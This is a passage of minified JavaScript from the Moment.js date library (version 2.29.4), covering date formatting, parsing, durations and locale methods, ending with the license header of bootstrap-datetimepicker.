this.isoWeekYear()%100}),su("gggg","weekYear"),su("ggggg","weekYear"),su("GGGG","isoWeekYear"),su("GGGGG","isoWeekYear"),p("weekYear","gg"),p("isoWeekYear","GG"),w("weekYear",1),w("isoWeekYear",1),i("G",wr),i("g",wr),i("GG",c,u),i("gg",c,u),i("GGGG",fi,ri),i("gggg",fi,ri),i("GGGGG",gt,ui),i("ggggg",gt,ui),ir(["gggg","ggggg","GGGG","GGGGG"],function(n,t,i,r){t[r.substr(0,2)]=e(n)}),ir(["gg","GG"],function(n,i,r,u){i[u]=t.parseTwoDigitYear(n)}),r("Q",0,"Qo","quarter"),p("quarter","Q"),w("quarter",7),i("Q",n),h("Q",function(n,t){t[vt]=3*(e(n)-1)}),r("D",["DD",2],"Do","date"),p("date","D"),w("date",9),i("D",c),i("DD",c,u),i("Do",function(n,t){return n?t._dayOfMonthOrdinalParse||t._ordinalParse:t._dayOfMonthOrdinalParseLenient}),h(["D","DD"],ht),h("Do",function(n,t){t[ht]=e(n.match(c)[0])}),fi=li("Date",!0),r("DDD",["DDDD",3],"DDDo","dayOfYear"),p("dayOfYear","DDD"),w("dayOfYear",4),i("DDD",yi),i("DDDD",pr),h(["DDD","DDDD"],function(n,t,i){i._dayOfYear=e(n)}),r("m",["mm",2],0,"minute"),p("minute","m"),w("minute",14),i("m",c),i("mm",c,u),h(["m","mm"],ut),ri=li("Minutes",!1),gt=(r("s",["ss",2],0,"second"),p("second","s"),w("second",15),i("s",c),i("ss",c,u),h(["s","ss"],yt),li("Seconds",!1)),r("S",0,0,function(){return~~(this.millisecond()/100)}),r(0,["SS",2],0,function(){return~~(this.millisecond()/10)}),r(0,["SSS",3],0,"millisecond"),r(0,["SSSS",4],0,function(){return 10*this.millisecond()}),r(0,["SSSSS",5],0,function(){return 100*this.millisecond()}),r(0,["SSSSSS",6],0,function(){return 1e3*this.millisecond()}),r(0,["SSSSSSS",7],0,function(){return 1e4*this.millisecond()}),r(0,["SSSSSSSS",8],0,function(){return 1e5*this.millisecond()}),r(0,["SSSSSSSSS",9],0,function(){return 1e6*this.millisecond()}),p("millisecond","ms"),w("millisecond",16),i("S",yi,n),i("SS",yi,u),i("SSS",yi,pr),ti="SSSS";ti.length<=9;ti+="S")i(ti,pi);for(ti="S";ti.length<=9;ti+="S")h(ti,th);ui=li("Milliseconds",!1);r("z",0,0,"zoneAbbr");r("zz",0,0,"zoneName");n=tr.prototype;n.add=rr;n.calendar=function(n,i){1===arguments.length&&(arguments[0]?nh(arguments[0])?(n=arguments[0],i=void 0):function(n){for(var u=ii(n)&&!au(n),t=!1,r=["sameDay","nextDay","lastDay","nextWeek","lastWeek","sameElse"],i=0;i<r.length;i+=1)t=t||s(n,r[i]);return u&&t}(arguments[0])&&(i=arguments[0],n=void 0):i=n=void 0);var n=n||l(),r=vf(n,this).startOf("day"),r=t.calendarFormat(this,r)||"sameElse",i=i&&(ot(i[r])?i[r].call(this,n):i[r]);return this.format(i||this.localeData().calendar(r,this,l(n)))};n.clone=function(){return new tr(this)};n.diff=function(n,t,i){var r,f,u;if(!this.isValid())return NaN;if(!(r=vf(n,this)).isValid())return NaN;switch(f=6e4*(r.utcOffset()-this.utcOffset()),t=nt(t)){case"year":u=ou(this,r)/12;break;case"month":u=ou(this,r);break;case"quarter":u=ou(this,r)/3;break;case"second":u=(this-r)/1e3;break;case"minute":u=(this-r)/6e4;break;case"hour":u=(this-r)/36e5;break;case"day":u=(this-r-f)/864e5;break;case"week":u=(this-r-f)/6048e5;break;default:u=this-r}return i?u:tt(u)};n.endOf=function(n){var i,r;if(void 0===(n=nt(n))||"millisecond"===n||!this.isValid())return this;switch(r=this._isUTC?po:yo,n){case"year":i=r(this.year()+1,0,1)-1;break;case"quarter":i=r(this.year(),this.month()-this.month()%3+3,1)-1;break;case"month":i=r(this.year(),this.month()+1,1)-1;break;case"week":i=r(this.year(),this.month(),this.date()-this.weekday()+7)-1;break;case"isoWeek":i=r(this.year(),this.month(),this.date()-(this.isoWeekday()-1)+7)-1;break;case"day":case"date":i=r(this.year(),this.month(),this.date()+1)-1;break;case"hour":i=this._d.valueOf();i+=3599999-ki(i+(this._isUTC?0:6e4*this.utcOffset()),36e5);break;case"minute":i=this._d.valueOf();i+=59999-ki(i,6e4);break;case"second":i=this._d.valueOf();i+=999-ki(i,1e3)}return this._d.setTime(i),t.updateOffset(this,!0),this};n.format=function(n){return n=n||(this.isUtc()?t.defaultFormatUtc:t.defaultFormat),n=ar(this,n),this.localeData().postformat(n)};n.from=function(n,t){return this.isValid()&&(rt(n)&&n.isValid()||l(n).isValid())?ft({to:this,from:n}).locale(this.locale()).humanize(!t):this.localeData().invalidDate()};n.fromNow=function(n){return this.from(l(),n)};n.to=function(n,t){return this.isValid()&&(rt(n)&&n.isValid()||l(n).isValid())?ft({from:this,to:n}).locale(this.locale()).humanize(!t):this.localeData().invalidDate()};n.toNow=function(n){return this.to(l(),n)};n.get=function(n){return ot(this[n=nt(n)])?this[n]():this};n.invalidAt=function(){return f(this).overflow};n.isAfter=function(n,t){return n=rt(n)?n:l(n),!(!this.isValid()||!n.isValid())&&("millisecond"===(t=nt(t)||"millisecond")?this.valueOf()>n.valueOf():n.valueOf()<this.clone().startOf(t).valueOf())};n.isBefore=function(n,t){return n=rt(n)?n:l(n),!(!this.isValid()||!n.isValid())&&("millisecond"===(t=nt(t)||"millisecond")?this.valueOf()<n.valueOf():this.clone().endOf(t).valueOf()<n.valueOf())};n.isBetween=function(n,t,i,r){return n=rt(n)?n:l(n),t=rt(t)?t:l(t),!!(this.isValid()&&n.isValid()&&t.isValid())&&("("===(r=r||"()")[0]?this.isAfter(n,i):!this.isBefore(n,i))&&(")"===r[1]?this.isBefore(t,i):!this.isAfter(t,i))};n.isSame=function(n,t){var n=rt(n)?n:l(n);return!(!this.isValid()||!n.isValid())&&("millisecond"===(t=nt(t)||"millisecond")?this.valueOf()===n.valueOf():(n=n.valueOf(),this.clone().startOf(t).valueOf()<=n&&n<=this.clone().endOf(t).valueOf()))};n.isSameOrAfter=function(n,t){return this.isSame(n,t)||this.isAfter(n,t)};n.isSameOrBefore=function(n,t){return this.isSame(n,t)||this.isBefore(n,t)};n.isValid=function(){return vu(this)};n.lang=iu;n.locale=ao;n.localeData=vo;n.max=vi;n.min=ai;n.parsingFlags=function(){return dt({},f(this))};n.set=function(n,t){if("object"==typeof n)for(var r=function(n){var t,i=[];for(t in n)s(n,t)&&i.push({unit:t,priority:nf[t]});return i.sort(function(n,t){return n.priority-t.priority}),i}(n=gu(n)),u=r.length,i=0;i<u;i++)this[r[i].unit](n[r[i].unit]);else if(ot(this[n=nt(n)]))return this[n](t);return this};n.startOf=function(n){var i,r;if(void 0===(n=nt(n))||"millisecond"===n||!this.isValid())return this;switch(r=this._isUTC?po:yo,n){case"year":i=r(this.year(),0,1);break;case"quarter":i=r(this.year(),this.month()-this.month()%3,1);break;case"month":i=r(this.year(),this.month(),1);break;case"week":i=r(this.year(),this.month(),this.date()-this.weekday());break;case"isoWeek":i=r(this.year(),this.month(),this.date()-(this.isoWeekday()-1));break;case"day":case"date":i=r(this.year(),this.month(),this.date());break;case"hour":i=this._d.valueOf();i-=ki(i+(this._isUTC?0:6e4*this.utcOffset()),36e5);break;case"minute":i=this._d.valueOf();i-=ki(i,6e4);break;case"second":i=this._d.valueOf();i-=ki(i,1e3)}return this._d.setTime(i),t.updateOffset(this,!0),this};n.subtract=or;n.toArray=function(){var n=this;return[n.year(),n.month(),n.date(),n.hour(),n.minute(),n.second(),n.millisecond()]};n.toObject=function(){var n=this;return{years:n.year(),months:n.month(),date:n.date(),hours:n.hours(),minutes:n.minutes(),seconds:n.seconds(),milliseconds:n.milliseconds()}};n.toDate=function(){return new Date(this.valueOf())};n.toISOString=function(n){if(!this.isValid())return null;var t=(n=!0!==n)?this.clone().utc():this;return t.year()<0||9999<t.year()?ar(t,n?"YYYYYY-MM-DD[T]HH:mm:ss.SSS[Z]":"YYYYYY-MM-DD[T]HH:mm:ss.SSSZ"):ot(Date.prototype.toISOString)?n?this.toDate().toISOString():new Date(this.valueOf()+6e4*this.utcOffset()).toISOString().replace("Z",ar(t,"Z")):ar(t,n?"YYYY-MM-DD[T]HH:mm:ss.SSS[Z]":"YYYY-MM-DD[T]HH:mm:ss.SSSZ")};n.inspect=function(){if(!this.isValid())return"moment.invalid(/* "+this._i+" */)";var t,n="moment",i="";return this.isLocal()||(n=0===this.utcOffset()?"moment.utc":"moment.parseZone",i="Z"),n="["+n+'("]',t=0<=this.year()&&this.year()<=9999?"YYYY":"YYYYYY",this.format(n+t+"-MM-DD[T]HH:mm:ss.SSS"+(i+'[")]'))};"undefined"!=typeof Symbol&&null!=Symbol.for&&(n[Symbol.for("nodejs.util.inspect.custom")]=function(){return"Moment<"+this.format()+">"});n.toJSON=function(){return this.isValid()?this.toISOString():null};n.toString=function(){return this.clone().locale("en").format("ddd MMM DD YYYY HH:mm:ss [GMT]ZZ")};n.unix=function(){return Math.floor(this.valueOf()/1e3)};n.valueOf=function(){return this._d.valueOf()-6e4*(this._offset||0)};n.creationData=function(){return{input:this._i,format:this._f,locale:this._locale,isUTC:this._isUTC,strict:this._strict}};n.eraName=function(){for(var i,t=this.localeData().eras(),n=0,r=t.length;n<r;++n)if((i=this.clone().startOf("day").valueOf(),t[n].since<=i&&i<=t[n].until)||t[n].until<=i&&i<=t[n].since)return t[n].name;return""};n.eraNarrow=function(){for(var i,t=this.localeData().eras(),n=0,r=t.length;n<r;++n)if((i=this.clone().startOf("day").valueOf(),t[n].since<=i&&i<=t[n].until)||t[n].until<=i&&i<=t[n].since)return t[n].narrow;return""};n.eraAbbr=function(){for(var i,t=this.localeData().eras(),n=0,r=t.length;n<r;++n)if((i=this.clone().startOf("day").valueOf(),t[n].since<=i&&i<=t[n].until)||t[n].until<=i&&i<=t[n].since)return t[n].abbr;return""};n.eraYear=function(){for(var u,r,i=this.localeData().eras(),n=0,f=i.length;n<f;++n)if(u=i[n].since<=i[n].until?1:-1,r=this.clone().startOf("day").valueOf(),i[n].since<=r&&r<=i[n].until||i[n].until<=r&&r<=i[n].since)return(this.year()-t(i[n].since).year())*u+i[n].offset;return this.year()};n.year=nu;n.isLeapYear=function(){return vr(this.year())};n.weekYear=function(n){return wo.call(this,n,this.week(),this.weekday(),this.localeData()._week.dow,this.localeData()._week.doy)};n.isoWeekYear=function(n){return wo.call(this,n,this.isoWeek(),this.isoWeekday(),1,4)};n.quarter=n.quarters=function(n){return null==n?Math.ceil((this.month()+1)/3):this.month(3*(n-1)+this.month()%3)};n.month=le;n.daysInMonth=function(){return gr(this.year(),this.month())};n.week=n.weeks=function(n){var t=this.localeData().week(this);return null==n?t:this.add(7*(n-t),"d")};n.isoWeek=n.isoWeeks=function(n){var t=er(this,1,4).week;return null==n?t:this.add(7*(n-t),"d")};n.weeksInYear=function(){var n=this.localeData()._week;return pt(this.year(),n.dow,n.doy)};n.weeksInWeekYear=function(){var n=this.localeData()._week;return pt(this.weekYear(),n.dow,n.doy)};n.isoWeeksInYear=function(){return pt(this.year(),1,4)};n.isoWeeksInISOWeekYear=function(){return pt(this.isoWeekYear(),1,4)};n.date=fi;n.day=n.days=function(n){if(!this.isValid())return null!=n?this:NaN;var t,i,r=this._isUTC?this._d.getUTCDay():this._d.getDay();return null!=n?(t=n,i=this.localeData(),n="string"!=typeof t?t:isNaN(t)?"number"==typeof(t=i.weekdaysParse(t))?t:null:parseInt(t,10),this.add(n-r,"d")):r};n.weekday=function(n){if(!this.isValid())return null!=n?this:NaN;var t=(this.day()+7-this.localeData()._week.dow)%7;return null==n?t:this.add(n-t,"d")};n.isoWeekday=function(n){return this.isValid()?null!=n?(t=n,i=this.localeData(),i="string"==typeof t?i.weekdaysParse(t)%7||7:isNaN(t)?null:t,this.day(this.day()%7?i:i-7)):this.day()||7:null!=n?this:NaN;var t,i};n.dayOfYear=function(n){var t=Math.round((this.clone().startOf("day")-this.clone().startOf("year"))/864e5)+1;return null==n?t:this.add(n-t,"d")};n.hour=n.hours=at;n.minute=n.minutes=ri;n.second=n.seconds=gt;n.millisecond=n.milliseconds=ui;n.utcOffset=function(n,i,r){var u,f=this._offset||0;if(!this.isValid())return null!=n?this:NaN;if(null==n)return this._isUTC?f:yf(this);if("string"==typeof n){if(null===(n=af(br,n)))return this}else Math.abs(n)<16&&!r&&(n*=60);return!this._isUTC&&i&&(u=yf(this)),this._offset=n,this._isUTC=!0,null!=u&&this.add(u,"m"),f!==n&&(!i||this._changeInProgress?co(this,ft(n-f,"m"),1,!1):this._changeInProgress||(this._changeInProgress=!0,t.updateOffset(this,!0),this._changeInProgress=null)),this};n.utc=function(n){return this.utcOffset(0,n)};n.local=function(n){return this._isUTC&&(this.utcOffset(0,n),this._isUTC=!1,n&&this.subtract(yf(this),"m")),this};n.parseZone=function(){var n;return null!=this._tzm?this.utcOffset(this._tzm,!1,!0):"string"==typeof this._i&&(null!=(n=af(rs,this._i))?this.utcOffset(n):this.utcOffset(0,!0)),this};n.hasAlignedHourOffset=function(n){return!!this.isValid()&&(n=n?l(n).utcOffset():0,(this.utcOffset()-n)%60==0)};n.isDST=function(){return this.utcOffset()>this.clone().month(0).utcOffset()||this.utcOffset()>this.clone().month(5).utcOffset()};n.isLocal=function(){return!!this.isValid()&&!this._isUTC};n.isUtcOffset=function(){return!!this.isValid()&&this._isUTC};n.isUtc=fo;n.isUTC=fo;n.zoneAbbr=function(){return this._isUTC?"UTC":""};n.zoneName=function(){return this._isUTC?"Coordinated Universal Time":""};n.dates=g("dates accessor is deprecated. Use date instead.",fi);n.months=g("months accessor is deprecated. Use month instead",le);n.years=g("years accessor is deprecated. Use year instead",nu);n.zone=g("moment().zone is deprecated, use moment().utcOffset instead. http://momentjs.com/guides/#/warnings/zone/",function(n,t){return null!=n?(this.utcOffset(n="string"!=typeof n?-n:n,t),this):-this.utcOffset()});n.isDSTShifted=g("isDSTShifted is deprecated. See http://momentjs.com/guides/#/warnings/dst-shifted/ for more information",function(){if(!k(this._isDSTShifted))return this._isDSTShifted;var t,n={};return pu(n,this),(n=no(n))._a?(t=(n._isUTC?et:l)(n._a),this._isDSTShifted=this.isValid()&&0<function(n,t,i){for(var f=Math.min(n.length,t.length),o=Math.abs(n.length-t.length),u=0,r=0;r<f;r++)(i&&n[r]!==t[r]||!i&&e(n[r])!==e(t[r]))&&u++;return u+o}(n._a,t.toArray())):this._isDSTShifted=!1,this._isDSTShifted});u=bu.prototype;u.calendar=function(n,t,i){return ot(n=this._calendar[n]||this._calendar.sameElse)?n.call(t,i):n};u.longDateFormat=function(n){var t=this._longDateFormat[n],i=this._longDateFormat[n.toUpperCase()];return t||!i?t:(this._longDateFormat[n]=i.match(ku).map(function(n){return"MMMM"===n||"MM"===n||"DD"===n||"dddd"===n?n.slice(1):n}).join(""),this._longDateFormat[n])};u.invalidDate=function(){return this._invalidDate};u.ordinal=function(n){return this._ordinal.replace("%d",n)};u.preparse=bo;u.postformat=bo;u.relativeTime=function(n,t,i,r){var u=this._relativeTime[i];return ot(u)?u(n,t,i,r):u.replace(/%d/i,n)};u.pastFuture=function(n,t){return ot(n=this._relativeTime[0<n?"future":"past"])?n(t):n.replace(/%s/i,t)};u.set=function(n){var i;for(var t in n)s(n,t)&&(ot(i=n[t])?this[t]=i:this["_"+t]=i);this._config=n;this._dayOfMonthOrdinalParseLenient=new RegExp((this._dayOfMonthOrdinalParse.source||this._ordinalParse.source)+"|"+/\d{1,2}/.source)};u.eras=function(){for(var r,n=this._eras||wt("en")._eras,i=0,u=n.length;i<u;++i){switch(typeof n[i].since){case"string":r=t(n[i].since).startOf("day");n[i].since=r.valueOf()}switch(typeof n[i].until){case"undefined":n[i].until=1/0;break;case"string":r=t(n[i].until).startOf("day").valueOf();n[i].until=r.valueOf()}}return n};u.erasParse=function(n,t,i){var r,s,f,e,o,u=this.eras();for(n=n.toUpperCase(),r=0,s=u.length;r<s;++r)if(f=u[r].name.toUpperCase(),e=u[r].abbr.toUpperCase(),o=u[r].narrow.toUpperCase(),i)switch(t){case"N":case"NN":case"NNN":if(e===n)return u[r];break;case"NNNN":if(f===n)return u[r];break;case"NNNNN":if(o===n)return u[r]}else if(0<=[f,e,o].indexOf(n))return u[r]};u.erasConvertYear=function(n,i){var r=n.since<=n.until?1:-1;return void 0===i?t(n.since).year():t(n.since).year()+(i-n.offset)*r};u.erasAbbrRegex=function(n){return s(this,"_erasAbbrRegex")||bf.call(this),n?this._erasAbbrRegex:this._erasRegex};u.erasNameRegex=function(n){return s(this,"_erasNameRegex")||bf.call(this),n?this._erasNameRegex:this._erasRegex};u.erasNarrowRegex=function(n){return s(this,"_erasNarrowRegex")||bf.call(this),n?this._erasNarrowRegex:this._erasRegex};u.months=function(n,t){return n?(it(this._months)?this._months:this._months[(this._months.isFormat||he).test(t)?"format":"standalone"])[n.month()]:it(this._months)?this._months:this._months.standalone};u.monthsShort=function(n,t){return n?(it(this._monthsShort)?this._monthsShort:this._monthsShort[he.test(t)?"format":"standalone"])[n.month()]:it(this._monthsShort)?this._monthsShort:this._monthsShort.standalone};u.monthsParse=function(n,t,i){var r,u;if(this._monthsParseExact)return function(n,t,i){var u,r,f,n=n.toLocaleLowerCase();if(!this._monthsParse)for(this._monthsParse=[],this._longMonthsParse=[],this._shortMonthsParse=[],u=0;u<12;++u)f=et([2e3,u]),this._shortMonthsParse[u]=this.monthsShort(f,"").toLocaleLowerCase(),this._longMonthsParse[u]=this.months(f,"").toLocaleLowerCase();return i?"MMM"===t?-1!==(r=v.call(this._shortMonthsParse,n))?r:null:-1!==(r=v.call(this._longMonthsParse,n))?r:null:"MMM"===t?-1!==(r=v.call(this._shortMonthsParse,n))||-1!==(r=v.call(this._longMonthsParse,n))?r:null:-1!==(r=v.call(this._longMonthsParse,n))||-1!==(r=v.call(this._shortMonthsParse,n))?r:null}.call(this,n,t,i);for(this._monthsParse||(this._monthsParse=[],this._longMonthsParse=[],this._shortMonthsParse=[]),r=0;r<12;r++)if((u=et([2e3,r]),i&&!this._longMonthsParse[r]&&(this._longMonthsParse[r]=new RegExp("^"+this.months(u,"").replace(".","")+"$","i"),this._shortMonthsParse[r]=new RegExp("^"+this.monthsShort(u,"").replace(".","")+"$","i")),i||this._monthsParse[r]||(u="^"+this.months(u,"")+"|^"+this.monthsShort(u,""),this._monthsParse[r]=new RegExp(u.replace(".",""),"i")),i&&"MMMM"===t&&this._longMonthsParse[r].test(n))||i&&"MMM"===t&&this._shortMonthsParse[r].test(n)||!i&&this._monthsParse[r].test(n))return r};u.monthsRegex=function(n){return this._monthsParseExact?(s(this,"_monthsRegex")||ae.call(this),n?this._monthsStrictRegex:this._monthsRegex):(s(this,"_monthsRegex")||(this._monthsRegex=ss),this._monthsStrictRegex&&n?this._monthsStrictRegex:this._monthsRegex)};u.monthsShortRegex=function(n){return this._monthsParseExact?(s(this,"_monthsRegex")||ae.call(this),n?this._monthsShortStrictRegex:this._monthsShortRegex):(s(this,"_monthsShortRegex")||(this._monthsShortRegex=os),this._monthsShortStrictRegex&&n?this._monthsShortStrictRegex:this._monthsShortRegex)};u.week=function(n){return er(n,this._week.dow,this._week.doy).week};u.firstDayOfYear=function(){return this._week.doy};u.firstDayOfWeek=function(){return this._week.dow};u.weekdays=function(n,t){return t=it(this._weekdays)?this._weekdays:this._weekdays[n&&!0!==n&&this._weekdays.isFormat.test(t)?"format":"standalone"],!0===n?tf(t,this._week.dow):n?t[n.day()]:t};u.weekdaysMin=function(n){return!0===n?tf(this._weekdaysMin,this._week.dow):n?this._weekdaysMin[n.day()]:this._weekdaysMin};u.weekdaysShort=function(n){return!0===n?tf(this._weekdaysShort,this._week.dow):n?this._weekdaysShort[n.day()]:this._weekdaysShort};u.weekdaysParse=function(n,t,i){var r,u;if(this._weekdaysParseExact)return function(n,t,i){var u,r,f,n=n.toLocaleLowerCase();if(!this._weekdaysParse)for(this._weekdaysParse=[],this._shortWeekdaysParse=[],this._minWeekdaysParse=[],u=0;u<7;++u)f=et([2e3,1]).day(u),this._minWeekdaysParse[u]=this.weekdaysMin(f,"").toLocaleLowerCase(),this._shortWeekdaysParse[u]=this.weekdaysShort(f,"").toLocaleLowerCase(),this._weekdaysParse[u]=this.weekdays(f,"").toLocaleLowerCase();return i?"dddd"===t?-1!==(r=v.call(this._weekdaysParse,n))?r:null:"ddd"===t?-1!==(r=v.call(this._shortWeekdaysParse,n))?r:null:-1!==(r=v.call(this._minWeekdaysParse,n))?r:null:"dddd"===t?-1!==(r=v.call(this._weekdaysParse,n))||-1!==(r=v.call(this._shortWeekdaysParse,n))||-1!==(r=v.call(this._minWeekdaysParse,n))?r:null:"ddd"===t?-1!==(r=v.call(this._shortWeekdaysParse,n))||-1!==(r=v.call(this._weekdaysParse,n))||-1!==(r=v.call(this._minWeekdaysParse,n))?r:null:-1!==(r=v.call(this._minWeekdaysParse,n))||-1!==(r=v.call(this._weekdaysParse,n))||-1!==(r=v.call(this._shortWeekdaysParse,n))?r:null}.call(this,n,t,i);for(this._weekdaysParse||(this._weekdaysParse=[],this._minWeekdaysParse=[],this._shortWeekdaysParse=[],this._fullWeekdaysParse=[]),r=0;r<7;r++)if((u=et([2e3,1]).day(r),i&&!this._fullWeekdaysParse[r]&&(this._fullWeekdaysParse[r]=new RegExp("^"+this.weekdays(u,"").replace(".","\\.?")+"$","i"),this._shortWeekdaysParse[r]=new RegExp("^"+this.weekdaysShort(u,"").replace(".","\\.?")+"$","i"),this._minWeekdaysParse[r]=new RegExp("^"+this.weekdaysMin(u,"").replace(".","\\.?")+"$","i")),this._weekdaysParse[r]||(u="^"+this.weekdays(u,"")+"|^"+this.weekdaysShort(u,"")+"|^"+this.weekdaysMin(u,""),this._weekdaysParse[r]=new RegExp(u.replace(".",""),"i")),i&&"dddd"===t&&this._fullWeekdaysParse[r].test(n))||i&&"ddd"===t&&this._shortWeekdaysParse[r].test(n)||i&&"dd"===t&&this._minWeekdaysParse[r].test(n)||!i&&this._weekdaysParse[r].test(n))return r};u.weekdaysRegex=function(n){return this._weekdaysParseExact?(s(this,"_weekdaysRegex")||rf.call(this),n?this._weekdaysStrictRegex:this._weekdaysRegex):(s(this,"_weekdaysRegex")||(this._weekdaysRegex=cs),this._weekdaysStrictRegex&&n?this._weekdaysStrictRegex:this._weekdaysRegex)};u.weekdaysShortRegex=function(n){return this._weekdaysParseExact?(s(this,"_weekdaysRegex")||rf.call(this),n?this._weekdaysShortStrictRegex:this._weekdaysShortRegex):(s(this,"_weekdaysShortRegex")||(this._weekdaysShortRegex=ls),this._weekdaysShortStrictRegex&&n?this._weekdaysShortStrictRegex:this._weekdaysShortRegex)};u.weekdaysMinRegex=function(n){return this._weekdaysParseExact?(s(this,"_weekdaysRegex")||rf.call(this),n?this._weekdaysMinStrictRegex:this._weekdaysMinRegex):(s(this,"_weekdaysMinRegex")||(this._weekdaysMinRegex=as),this._weekdaysMinStrictRegex&&n?this._weekdaysMinStrictRegex:this._weekdaysMinRegex)};u.isPM=function(n){return"p"===(n+"").toLowerCase().charAt(0)};u.meridiem=function(n,t,i){return 11<n?i?"pm":"PM":i?"am":"AM"};ni("en",{eras:[{since:"0001-01-01",until:1/0,offset:1,name:"Anno Domini",narrow:"AD",abbr:"AD"},{since:"0000-12-31",until:-1/0,offset:1,name:"Before Christ",narrow:"BC",abbr:"BC"}],dayOfMonthOrdinalParse:/\d{1,2}(th|st|nd|rd)/,ordinal:function(n){var t=n%10;return n+(1===e(n%100/10)?"th":1==t?"st":2==t?"nd":3==t?"rd":"th")}});t.lang=g("moment.lang is deprecated. Use moment.locale instead.",ni);t.langData=g("moment.langData is deprecated. Use moment.localeData instead.",wt);ct=Math.abs;yi=bt("ms");pr=bt("s");rr=bt("m");vi=bt("h");ai=bt("d");or=bt("w");at=bt("M");ri=bt("Q");gt=bt("y");var ui=si("milliseconds"),fi=si("seconds"),nu=si("minutes"),u=si("hours"),ih=si("days"),rh=si("months"),uh=si("years"),kt=Math.round,di={ss:44,s:45,m:45,h:22,d:26,w:null,M:11};return cu=Math.abs,o=fu.prototype,o.isValid=function(){return this._isValid},o.abs=function(){var n=this._data;return this._milliseconds=ct(this._milliseconds),this._days=ct(this._days),this._months=ct(this._months),n.milliseconds=ct(n.milliseconds),n.seconds=ct(n.seconds),n.minutes=ct(n.minutes),n.hours=ct(n.hours),n.months=ct(n.months),n.years=ct(n.years),this},o.add=function(n,t){return go(this,n,t,1)},o.subtract=function(n,t){return go(this,n,t,-1)},o.as=function(n){if(!this.isValid())return NaN;var t,r,i=this._milliseconds;if("month"===(n=nt(n))||"quarter"===n||"year"===n)switch(t=this._days+i/864e5,r=this._months+ts(t),n){case"month":return r;case"quarter":return r/3;case"year":return r/12}else switch(t=this._days+Math.round(df(this._months)),n){case"week":return t/7+i/6048e5;case"day":return t+i/864e5;case"hour":return 24*t+i/36e5;case"minute":return 1440*t+i/6e4;case"second":return 86400*t+i/1e3;case"millisecond":return Math.floor(864e5*t)+i;default:throw new Error("Unknown unit "+n);}},o.asMilliseconds=yi,o.asSeconds=pr,o.asMinutes=rr,o.asHours=vi,o.asDays=ai,o.asWeeks=or,o.asMonths=at,o.asQuarters=ri,o.asYears=gt,o.valueOf=function(){return this.isValid()?this._milliseconds+864e5*this._days+this._months%12*2592e6+31536e6*e(this._months/12):NaN},o._bubble=function(){var n=this._milliseconds,t=this._days,i=this._months,r=this._data;return 0<=n&&0<=t&&0<=i||n<=0&&t<=0&&i<=0||(n+=864e5*ns(df(i)+t),i=t=0),r.milliseconds=n%1e3,n=tt(n/1e3),r.seconds=n%60,n=tt(n/60),r.minutes=n%60,n=tt(n/60),r.hours=n%24,t+=tt(n/24),i+=n=tt(ts(t)),t-=ns(df(n)),n=tt(i/12),i%=12,r.days=t,r.months=i,r.years=n,this},o.clone=function(){return ft(this)},o.get=function(n){return n=nt(n),this.isValid()?this[n+"s"]():NaN},o.milliseconds=ui,o.seconds=fi,o.minutes=nu,o.hours=u,o.days=ih,o.weeks=function(){return tt(this.days()/7)},o.months=rh,o.years=uh,o.humanize=function(n,t){if(!this.isValid())return this.localeData().invalidDate();var i=!1,r=di;return"object"==typeof n&&(t=n,n=!1),"boolean"==typeof n&&(i=n),"object"==typeof t&&(r=Object.assign({},di,t),null!=t.s&&null==t.ss&&(r.ss=t.s-1)),n=this.localeData(),t=fh(this,!i,r,n),i&&(t=n.pastFuture(+this,t)),n.postformat(t)},o.toISOString=lu,o.toString=lu,o.toJSON=lu,o.locale=ao,o.localeData=vo,o.toIsoString=g("toIsoString() is deprecated. Please use toISOString() instead (notice the capitals)",lu),o.lang=iu,r("X",0,0,"unix"),r("x",0,0,"valueOf"),i("x",wr),i("X",/[+-]?\d+(\.\d{1,3})?/),h("X",function(n,t,i){i._d=new Date(1e3*parseFloat(n))}),h("x",function(n,t,i){i._d=new Date(e(n))}),t.version="2.29.4",gf=l,t.fn=n,t.min=function(){return io("isBefore",[].slice.call(arguments,0))},t.max=function(){return io("isAfter",[].slice.call(arguments,0))},t.now=function(){return Date.now?Date.now():+new Date},t.utc=et,t.unix=function(n){return l(1e3*n)},t.months=function(n,t){return ko(n,t,"months")},t.isDate=nr,t.locale=ni,t.invalid=cr,t.duration=ft,t.isMoment=rt,t.weekdays=function(n,t,i){return kf(n,t,i,"weekdays")},t.parseZone=function(){return l.apply(null,arguments).parseZone()},t.localeData=wt,t.isDuration=eu,t.monthsShort=function(n,t){return ko(n,t,"monthsShort")},t.weekdaysMin=function(n,t,i){return kf(n,t,i,"weekdaysMin")},t.defineLocale=ff,t.updateLocale=function(n,t){var r,i;return null!=t?(i=be,null!=a[n]&&null!=a[n].parentLocale?a[n].set(wu(a[n]._config,t)):(t=wu(i=null!=(r=ru(n))?r._config:i,t),null==r&&(t.abbr=n),(i=new bu(t)).parentLocale=a[n],a[n]=i),ni(n)):null!=a[n]&&(null!=a[n].parentLocale?(a[n]=a[n].parentLocale,n===ni()&&ni(n)):null!=a[n]&&delete a[n]),a[n]},t.locales=function(){return fe(a)},t.weekdaysShort=function(n,t,i){return kf(n,t,i,"weekdaysShort")},t.normalizeUnits=nt,t.relativeTimeRounding=function(n){return void 0===n?kt:"function"==typeof n&&(kt=n,!0)},t.relativeTimeThreshold=function(n,t){return void 0!==di[n]&&(void 0===t?di[n]:(di[n]=t,"s"===n&&(di.ss=t-1),!0))},t.calendarFormat=function(n,t){return(n=n.diff(t,"days",!0))<-6?"sameElse":n<-1?"lastWeek":n<0?"lastDay":n<1?"sameDay":n<2?"nextDay":n<7?"nextWeek":"sameElse"},t.prototype=n,t.HTML5_FMT={DATETIME_LOCAL:"YYYY-MM-DDTHH:mm",DATETIME_LOCAL_SECONDS:"YYYY-MM-DDTHH:mm:ss",DATETIME_LOCAL_MS:"YYYY-MM-DDTHH:mm:ss.SSS",DATE:"YYYY-MM-DD",TIME:"HH:mm",TIME_SECONDS:"HH:mm:ss",TIME_MS:"HH:mm:ss.SSS",WEEK:"GGGG-[W]WW",MONTH:"YYYY-MM"},t});
/*! version : 4.17.47
 =========================================================
 bootstrap-datetimejs
 https://github.com/Eonasdan/bootstrap-datetimepicker
 Copyright (c) 2015 Jonathan Peterson
 =========================================================
 */
